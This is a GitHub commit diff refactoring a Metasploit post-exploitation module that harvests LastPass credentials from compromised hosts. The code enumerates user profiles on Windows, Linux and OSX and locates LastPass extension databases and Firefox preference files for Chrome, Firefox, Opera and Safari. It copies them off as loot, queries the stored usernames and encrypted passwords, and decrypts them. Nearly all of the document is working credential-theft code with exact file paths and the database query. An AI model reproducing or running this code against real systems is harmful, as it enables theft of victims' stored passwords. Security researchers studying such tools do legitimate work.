Skip to content

Commit afed6a0

Browse files
committed
Merge pull request #1 from jhart-r7/landing-4004-jhart
Refactoring of LastPass post module
2 parents 8fc87aa + d2a00b2 commit afed6a0

File tree

1 file changed

+106
-126
lines changed

1 file changed

+106
-126
lines changed

modules/post/multi/gather/lastpass_creds.rb

Lines changed: 106 additions & 126 deletions
Original file line numberDiff line numberDiff line change
@@ -10,14 +10,17 @@ class Metasploit3 < Msf::Post
1010
include Msf::Post::Unix
1111

1212
def initialize(info = {})
13-
super(update_info(info,
14-
'Name' => 'LastPass Master Password Extractor',
15-
'Description' => %q{This module extracts and decrypts login accounts and passwords stored by Lastpass.},
16-
'License' => MSF_LICENSE,
17-
'Author' => ['Alberto Garcia Illera <agarciaillera[at]gmail.com>', 'Martin Vigo <martinvigo[at]gmail.com>'],
18-
'Platform' => %w{ linux osx unix win },
19-
'SessionTypes' => [ 'meterpreter, shell' ]
20-
))
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'LastPass Master Password Extractor',
17+
'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords',
18+
'License' => MSF_LICENSE,
19+
'Author' => ['Alberto Garcia Illera <agarciaillera[at]gmail.com>', 'Martin Vigo <martinvigo[at]gmail.com>'],
20+
'Platform' => %w(linux osx unix win),
21+
'SessionTypes' => %w(meterpreter shell)
22+
)
23+
)
2124
end
2225

2326
def run
@@ -26,48 +29,55 @@ def run
2629
return
2730
end
2831

29-
credentials_table = Rex::Ui::Text::Table.new('Header' => "LastPass credentials", 'Indent' => 1, 'Columns' => ["Username", "Password"])
30-
3132
print_status "Searching for LastPass databases..."
3233

33-
db_paths = database_paths # Find databases and get the remote paths
34-
if db_paths.size == 0 # Found any database?
34+
db_map = database_paths # Find databases and get the remote paths
35+
if db_map.empty?
3536
print_status "No databases found"
3637
return
3738
end
3839

3940
print_status "Looking for credentials in all databases found..."
4041

42+
# an array of [user, encrypted password, browser]
4143
credentials = [] # All credentials to be decrypted
42-
db_paths.each do |db_path|
43-
if db_path =~ /Mozilla/i # Firefox
44-
# Read and store the remote preferences file locally
45-
data = read_file(db_path)
46-
loot_path = store_loot('firefox.preferences', 'text/javascript', session, data, nil, "Firefox preferences file #{db_path}")
47-
48-
# Extract usernames and passwords from preference file
49-
firefox_encoded_creds = firefox_credentials(loot_path)
50-
next unless firefox_encoded_creds
51-
firefox_encoded_creds.each do |creds|
52-
credentials = [URI.unescape(creds[0]), URI.unescape(creds[1])] unless creds[0].nil? || creds[1].nil?
44+
db_map.each_pair do |browser, paths|
45+
if browser == 'Firefox'
46+
paths.each do |path|
47+
data = read_file(path)
48+
loot_path = store_loot('firefox.preferences', 'text/javascript', session, data, nil, "Firefox preferences file #{path}")
49+
50+
# Extract usernames and passwords from preference file
51+
firefox_encoded_creds = firefox_credentials(loot_path)
52+
next unless firefox_encoded_creds
53+
firefox_encoded_creds.each do |creds|
54+
credentials << [URI.unescape(creds[0]), URI.unescape(creds[1]), browser] unless creds[0].nil? || creds[1].nil?
55+
end
5356
end
54-
5557
else # Chrome, Safari and Opera
56-
# Read and store the remote database locally
57-
data = read_file(db_path)
58-
loot_path = store_loot('lastpass.database', 'application/x-sqlite3', session, data, nil, "LastPass database #{db_path}")
59-
60-
# Parsing/Querying the DB
61-
db = SQLite3::Database.new(loot_path)
62-
credentials = db.execute("SELECT username, password FROM LastPassSavedLogins2 WHERE username IS NOT NULL AND username != '' AND password IS NOT NULL AND password != '';")
58+
paths.each do |path|
59+
data = read_file(path)
60+
loot_path = store_loot("#{browser.downcase}.lastpass.database", 'application/x-sqlite3', session, data, nil, "#{browser} LastPass database #{path}")
61+
62+
# Parsing/Querying the DB
63+
db = SQLite3::Database.new(loot_path)
64+
user, pass = db.execute(
65+
"SELECT username, password FROM LastPassSavedLogins2 " \
66+
"WHERE username IS NOT NULL AND username != '' " \
67+
"AND password IS NOT NULL AND password != '';"
68+
).flatten
69+
credentials << [user, pass, browser] if user && pass
70+
end
6371
end
72+
end
6473

65-
# Parse and decrypt credentials
66-
credentials.each do |row| # Decrypt passwords
67-
print_status "Decrypting password for user #{row[0]}..."
68-
password = clear_text_password(row[0], row[1])
69-
credentials_table << [row[0], password]
70-
end
74+
credentials_table = Rex::Ui::Text::Table.new('Header' => "LastPass credentials", 'Indent' => 1, 'Columns' => %w(Username Password Browser))
75+
# Parse and decrypt credentials
76+
credentials.each do |row| # Decrypt passwords
77+
user, enc_pass, browser = row
78+
print_status "Decrypting password for user #{user} from #{browser}..."
79+
password = clear_text_password(user, enc_pass)
80+
credentials_table << [user, password, browser]
7181
end
7282
print_good credentials_table.to_s
7383
end
@@ -76,72 +86,53 @@ def run
7686
def database_paths
7787
platform = session.platform
7888
existing_profiles = user_profiles
79-
found_dbs_paths = []
89+
found_dbs_map = {
90+
'Chrome' => [],
91+
'Firefox' => [],
92+
'Opera' => [],
93+
'Safari' => []
94+
}
95+
96+
browser_path_map = {}
8097

8198
case platform
8299
when /win/
83100
existing_profiles.each do |user_profile|
84101
print_status "Found user: #{user_profile['UserName']}"
85-
86-
# Check Firefox
87-
path = "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles"
88-
found_dbs_paths.push(find_db_paths(path, "Firefox"))
89-
90-
# Check Chrome
91-
path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0"
92-
found_dbs_paths.push(find_db_paths(path, "Chrome"))
93-
94-
# Check Opera
95-
path = "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
96-
found_dbs_paths.push(find_db_paths(path, "Opera"))
97-
98-
# Check Safari
99-
path = "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
100-
found_dbs_paths.push(find_db_paths(path, "Safari"))
101-
102-
print_line ""
102+
browser_path_map = {
103+
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
104+
'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles",
105+
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
106+
'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
107+
}
103108
end
104-
105109
when /unix|linux/
106110
existing_profiles.each do |user_profile|
107111
print_status "Found user: #{user_profile['UserName']}"
108-
109-
# Check Firefox
110-
path = "#{user_profile['LocalAppData']}/.mozilla/firefox"
111-
found_dbs_paths.push(find_db_paths(path, "Firefox"))
112-
113-
# Check Chrome
114-
path = "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0"
115-
found_dbs_paths.push(find_db_paths(path, "Chrome"))
112+
browser_path_map = {
113+
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
114+
'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox"
115+
}
116116
end
117-
118117
when /osx/
119118
existing_profiles.each do |user_profile|
120119
print_status "Found user: #{user_profile['UserName']}"
121-
122-
# Check Firefox
123-
path = "#{user_profile['LocalAppData']}\\Firefox\\Profiles"
124-
found_dbs_paths.push(find_db_paths(path, "Firefox"))
125-
126-
# Check Chrome
127-
path = "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0"
128-
found_dbs_paths.push(find_db_paths(path, "Chrome"))
129-
130-
# Check Safari
131-
path = "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
132-
found_dbs_paths.push(find_db_paths(path, "Safari"))
133-
134-
# Check Opera
135-
path = "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
136-
found_dbs_paths.push(find_db_paths(path, "Opera"))
120+
browser_path_map = {
121+
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
122+
'Firefox' => "#{user_profile['LocalAppData']}\\Firefox\\Profiles",
123+
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
124+
'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
125+
}
137126
end
138-
139127
else
140128
print_error "platform not recognized: #{platform}"
141-
return nil
142129
end
143130

144-
found_dbs_paths.flatten
131+
browser_path_map.each_pair do |browser, path|
132+
found_dbs_map[browser] |= find_db_paths(path, browser)
133+
end
134+
135+
found_dbs_map
145136
end
146137

147138
# Returns a list of DB paths found in the victims' machine
@@ -150,53 +141,48 @@ def find_db_paths(path, browser)
150141

151142
print_status "Checking in #{browser}..."
152143
if browser == "Firefox" # Special case for Firefox
153-
profiles = profile_paths(path, browser)
154-
if profiles
144+
profiles = firefox_profile_files(path, browser)
145+
unless profiles.empty?
155146
print_good "Found #{profiles.size} profile files in Firefox"
156-
profiles.each do |profile_path|
157-
file_paths = ["#{profile_path}\\prefs.js"]
158-
found_dbs_paths.push(file_paths)
159-
end
147+
found_dbs_paths |= profiles
160148
end
161149
else
162-
file_paths = file_paths(path, browser)
163-
found_dbs_paths.push(file_paths) unless file_paths.nil?
150+
found_dbs_paths |= file_paths(path, browser)
164151
end
165152

166153
found_dbs_paths
167154
end
168155

169156
# Returns the relevant information from user profiles
170157
def user_profiles
158+
user_profiles = []
171159
case session.platform
172160
when /unix|linux/
173-
user_profiles = []
174161
if session.type == "meterpreter"
175162
user_names = client.fs.dir.entries("/home")
176163
else
177164
user_names = session.shell_command("ls /home").split
178165
end
166+
user_names.reject! { |u| %w(. ..).include?(u) }
179167
user_names.each do |user_name|
180-
user_profiles.push('UserName' => user_name, "LocalAppData" => "/home/#{user_name}") if user_name != '.' && user_name != '..'
168+
user_profiles.push('UserName' => user_name, "LocalAppData" => "/home/#{user_name}")
181169
end
182-
183-
return user_profiles
184-
185170
when /osx/
186-
user_profiles = []
187171
user_names = session.shell_command("ls /Users").split
172+
user_names.reject! { |u| u == 'Shared' }
188173
user_names.each do |user_name|
189-
user_profiles.push('UserName' => user_name, "AppData" => "/Users/#{user_name}/Library", "LocalAppData" => "/Users/#{user_name}/Library/Application Support") if user_name != 'Shared'
174+
user_profiles.push(
175+
'UserName' => user_name,
176+
"AppData" => "/Users/#{user_name}/Library",
177+
"LocalAppData" => "/Users/#{user_name}/Library/Application Support"
178+
)
190179
end
191-
192-
return user_profiles
193-
194180
when /win/
195-
return grab_user_profiles
181+
user_profiles |= grab_user_profiles
196182
else
197183
print_error "OS not recognized: #{os}"
198-
return nil
199184
end
185+
user_profiles
200186
end
201187

202188
# Extracts the databases paths from the given folder ignoring . and ..
@@ -218,48 +204,42 @@ def file_paths(path, browser)
218204

219205
else
220206
print_error "Session type not recognized: #{session.type}"
221-
return nil
207+
return found_dbs_paths
222208
end
223209
end
224210

225-
if found_dbs_paths.size > 0
226-
print_good "Found #{found_dbs_paths.size} database/s in #{browser}"
227-
return found_dbs_paths
228-
else
211+
if found_dbs_paths.empty?
229212
print_status "No databases found for #{browser}"
230-
return nil
213+
else
214+
print_good "Found #{found_dbs_paths.size} database/s in #{browser}"
231215
end
216+
found_dbs_paths
232217
end
233218

234-
# Returns the profile path for Firefox
235-
def profile_paths(path, browser)
219+
# Returns the profile files for Firefox
220+
def firefox_profile_files(path, browser)
236221
found_dbs_paths = []
237222

238223
if directory?(path)
239224
if session.type == "meterpreter"
240225
files = client.fs.dir.entries(path)
241-
files.each do |file_path|
242-
found_dbs_paths.push(File.join(path, file_path)) if file_path != '.' && file_path != '..' && file_path.match(/.*\.default/)
243-
end
244-
245226
elsif session.type == "shell"
246227
files = session.shell_command("ls \"#{path}\"").split
247-
files.each do |file_path|
248-
found_dbs_paths.push(File.join(path, file_path)) if file_path.match(/.*\.default/)
249-
end
250-
251228
else
252229
print_error "Session type not recognized: #{session.type}"
253-
return nil
230+
return found_dbs_paths
254231
end
255232
end
256233

257-
if found_dbs_paths.size > 0
258-
return found_dbs_paths
259-
else
234+
files.reject! { |file| %w(. ..).include?(file) }
235+
files.each do |file_path|
236+
found_dbs_paths.push(File.join(path, file_path, 'prefs.js')) if file_path.match(/.*\.default/)
237+
end
238+
239+
if found_dbs_paths.empty?
260240
print_status "No profile paths found for #{browser}"
261-
return nil
262241
end
242+
found_dbs_paths
263243
end
264244

265245
# Parses the Firefox preferences file and returns encoded credentials

0 commit comments

Comments
 (0)